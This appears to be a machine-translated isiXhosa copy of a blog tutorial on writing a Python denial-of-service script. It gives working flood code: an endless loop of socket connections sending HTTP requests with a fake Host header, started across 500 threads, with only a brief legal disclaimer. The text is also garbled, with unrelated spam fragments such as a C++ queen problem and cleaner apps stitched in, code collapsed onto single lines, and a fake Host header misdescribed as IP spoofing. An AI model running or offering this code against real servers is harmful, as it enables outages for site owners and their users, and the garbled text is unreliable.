Ukwenza iikhowudi kwiskripthi se-DDOS kwiPython

Ibhlog

Ukwenza iikhowudi kwiskripthi se-DDOS kwiPython

Ekuqaleni yapapashwa ngo neuralnine.com



yandisa ubungakanani bebar ye-bookmark chrome

Kule tutorial siza kubhala iskripthi sokuvavanya ukungena, oko kukuthi iskripthi se-DDOS, kwiPython. Le nkqubo iyakusivumela ukuba sikhukule umncedisi ngezinto ezininzi ezinokuthi, emva kwethutyana, zingaphinde zikwazi ukuphendula kwaye ziya kwehla.

Kodwa mandikunike isilumkiso esikhulu apha! Ukwenza uhlaselo lwe-DDOS nakweyiphi na iseva engeyoyakho okanye awunayo imvume yokuhlasela akukho semthethweni kakhulu. Andikukhuthazi ukuhlaselwa kwamanye amaseva ngaphandle kweyakho kwaye andinaxanduva lwento oza kuyenza ngale script. Esi sithuba semfundo sisodwa kwaye siya kukunceda uqonde uthungelwano kunye nenkqubo yePython. Ke musa ukwenza izinto zobuyatha!



Yintoni iDDOS?

I-DDOS imele i-_Distributed Denial of Service _kwaye kuhlaselwa apho sithintela khona imithombo yeseva ngokuyikhukulisa ngezicelo. Ngokwesiqhelo olu hlobo lokuhlaselwa alwenziwa lodwa kodwa ngoncedo lwee-botnets ezibizwa.



ii -apps zokufumana izicoci zendlu

Kwi-botnet, isigebenga esinye sichaphazela iikhompyuter ezininzi kunye neeseva zabantu abaqhelekileyo, ukuze sizisebenzise njengee-zombies. _Uzisebenzisela ukuhlasela ngokudibeneyo kwiseva. Endaweni yeskripthi esinye se-DDOS, ngoku angabaleka amawaka abo. Kungekudala okanye kamva iseva iya koyiswa sisixa sezicelo ukuze ingabinakho ukuphendula kumsebenzisi oqhelekileyo. Kwiiseva ezincinci kunye nezona zibuthathaka, ngamanye amaxesha umhlaseli omnye anele ukuyifumana. Nangona kunjalo, ngesiqhelo olo hlaselo lunokuchaswa ngokuvimba iidilesi ze-IP zabahlaseli.

Ukuphumeza iSkripthi seDDOS

Ukusebenza kweskripthi se-DDOS kwiPython kulula kakhulu. Sifuna kuphela ukuthumela izicelo kumamkeli kwizibuko elithile ngokuphindaphindiweyo. Oku kunokwenziwa ngeziseko. Ukukhawulezisa inkqubo kunye nokwenza ukuba isebenze ngakumbi, siya kusebenzisa imisonto emininzi kunye. Ke, la mathala eencwadi alandelayo aya kufuneka kwesi sifundo:

import socket import threading

Ngoku into yokuqala esiyifunayo yile dilesi ye-IP ekujoliswe kuyo, izibuko esifuna ukuhlasela kunye nedilesi ye-IP engeyiyo esifuna ukuyisebenzisa. Qaphela ukuba olu hlobo lweedilesi ezingezizo ze-IP azifihli ukuba ungubani. Ayikwenzi ungaziwa.

target = '10.0.0.138' fake_ip = '182.21.20.32' port = 80

Njengoko besele nditshilo, iDDOS ayikho semthethweni. Ke lumka ujonge kwithagethi oyikhethayo apha. Kule meko, ndikhethe idilesi ye-IP yendlela yam ekhaya. Unokukhetha kwakhona iseva yakho yasekhaya, umshicileli wakho okanye mhlawumbi newebhusayithi yakho. Ukuba awuyazi idilesi yakho ye-IP, ungasebenzisa umgca wokuyalela kwaye ujonge i-domain ukuyifumana. Njengedilesi ye-IP engeyonyani ndikhethe idilesi engahleliyo kodwa isasebenza. Okokugqibela kodwa kungaphelelanga apho, ndaye ndagqiba kwelokuba ndihlasele i-port 80, eyi-HTTP. Ukuba ufuna ukuvala inkonzo ethile, kuya kufuneka uyazi ukuba yeyiphi na izibuko elisebenza kuyo. Phuma eli khonkco Uluhlu oluneenkcukacha. Into elandelayo ekufuneka siyenzile kukuphumeza owona msebenzi uhlaselayo.

def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(('GET /' + target + ' HTTP/1.1 ').encode('ascii'), (target, port)) s.sendto(('Host: ' + fake_ip + ' ').encode('ascii'), (target, port)) s.close()

Lo msebenzi uhlaselayo ngumsebenzi oza kusebenza kuluhlu ngalunye lwethu. Iqala iluphu engapheliyo, ngaphakathi kwayo yenza isokethi, idityaniswe kwithagethi kwaye ithumele isicelo seHTTP amaxesha ngamaxesha. Ewe kunjalo, ukuba uhlasela esinye isibuko, kuya kufuneka utshintshe uhlobo lwesicelo osithumelayo.

Apha uyabona ukuba sitofa idilesi ye-IP engeyiyo kwisicelo. Isicelo ngokwaso kufuneka sifakwe kwi-byte, ukuze sithunyelwe kwiseva. Ekupheleni kwayo yonke iteration, sivale isiseko sethu.

Ngoku into yokugqibela ekufuneka siyenzile kukubaleka imisonto emininzi eyenza lo msebenzi ngexesha elinye. Ukuba besinokuqhuba nje umsebenzi, siya kuthumela izicelo ezininzi ngokuphindaphindiweyo kodwa iya kuhlala iyinto enye emva kwenye. Ngokusebenzisa imicu emininzi, sinokuthumela izicelo ezininzi ngaxeshanye.

n ukumkanikazi ingxaki c ++
for i in range(500): thread = threading.Thread(target=attack) thread.start()

Kule meko, siqala imisonto engama-500 eya kwenza umsebenzi wethu. Ewe ungadlala ujikeleze nenombolo. Mhlawumbi ama-30 okanye ama-50 sele enele. Xa ngoku sisebenzisa iskripthi sethu, siya kwenza i-DDOS ekujoliswe kuyo kodwa asiyi kubona nto. Ukuba ufuna ukubona ulwazi oluthile, unokuprinta izixa zezicelo esele zithunyelwe. Qaphela nje ukuba oku kuyakucothisa uhlaselo lwakho.

Ungathenga phi ipolls
attack_num = 0 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(('GET /' + target + ' HTTP/1.1 ').encode('ascii'), (target, port)) s.sendto(('Host: ' + fake_ip + ' ').encode('ascii'), (target, port)) global attack_num attack_num += 1 print(attack_num) s.close()

Senze i _attack_num _ eguqukileyo yokulandela umkhondo wokuba zingaphi na izicelo esele zithunyelwe. Ngayo yonke iteration, sonyusa eli nani kwaye siliprinte.

Yiyo le nto yokufundisa! Ndiyathemba ukuba ufunde nto! Musa nje ukwenza izinto zobuyatha okanye ezingekho mthethweni ngolu lwazi! Ukuba ufuna ukundixelela into okanye ubuze imibuzo, zive ukhululekile ukushiya uluvo! Jonga iphepha lam le-instagram okanye ezinye iinxalenye zale webhusayithi, ukuba unomdla ngakumbi! Hla umamele!

#python

www.neuralnine.com

Ukwenza iikhowudi kwiskripthi se-DDOS kwiPython

Kule tutorial siza kubhala iskripthi sokuvavanya ukungena, oko kukuthi iskripthi se-DDOS, kwiPython. Le nkqubo iyakusivumela ukuba sikhukule umncedisi ngezinto ezininzi ezinokuthi, emva kwethutyana, zingaphinde zikwazi ukuphendula kwaye ziya kwehla.